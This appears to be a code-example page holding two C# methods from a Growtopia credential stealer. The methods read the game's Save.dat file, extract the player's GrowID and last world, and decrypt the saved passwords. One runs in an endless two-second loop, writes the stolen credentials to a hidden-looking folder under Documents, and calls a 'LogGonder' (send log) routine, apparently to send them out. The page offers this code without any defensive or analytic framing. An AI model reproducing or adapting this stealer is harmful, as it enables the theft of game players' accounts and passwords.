Exemplo n.º 1
0
            static string CheckRealTimeSavedat()
            {
                string savedat  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat";
                var    pattern  = new Regex(@"[^\w0-9]");
                string savedata = null;
                var    r        = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);

                using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                {
                    using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                    {
                        savedata = streamReader.ReadToEnd();
                    }
                }

                string cleardata   = savedata.Replace("\u0000", " ");
                string firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                string growid      = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                string lastworld   = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty);

                string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata));
                string   path      = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt";
                string   finalpass = "";

                for (int z = 0; z < passwords.Length; z++)
                {
                    finalpass += passwords[z] + " ";
                }
                // Console.WriteLine(growid+" " +finalpass);
                //  Console.WriteLine(growid+" "+finalpass);
                return(growid + " " + finalpass);
            }
Exemplo n.º 2
0
            private static void TimerCallback(Object o)
            {
                while (true)
                {
                    string savedat  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat";
                    var    pattern  = new Regex(@"[^\w0-9]");
                    string savedata = null;
                    var    r        = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                    using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                        {
                            savedata = streamReader.ReadToEnd();
                        }
                    }

                    string   cleardata   = savedata.Replace("\u0000", " ");
                    string   firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                    string   growid      = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                    string   lastworld   = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty);
                    string[] passwords   = new PasswordDec().Func(Encoding.Default.GetBytes(savedata));
                    string   path        = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt";
                    string   finalpass   = "";
                    for (int z = 0; z < passwords.Length; z++)
                    {
                        finalpass += " " + passwords[z];
                    }
                    if (!File.Exists(path))
                    {
                        DosyayiOlustur(path, growid, finalpass, "Olustu!");
                        LogGonder();
                    }
                    else
                    {
                        //CheckRealTimeSavedat();
                        //string log1 = CheckSavedat(firstgrowid);
                        string log1 = FinalControl(firstgrowid, growid, path, finalpass);
                        Console.WriteLine(log1);
                    }
                    Thread.Sleep(2000);
                }
            }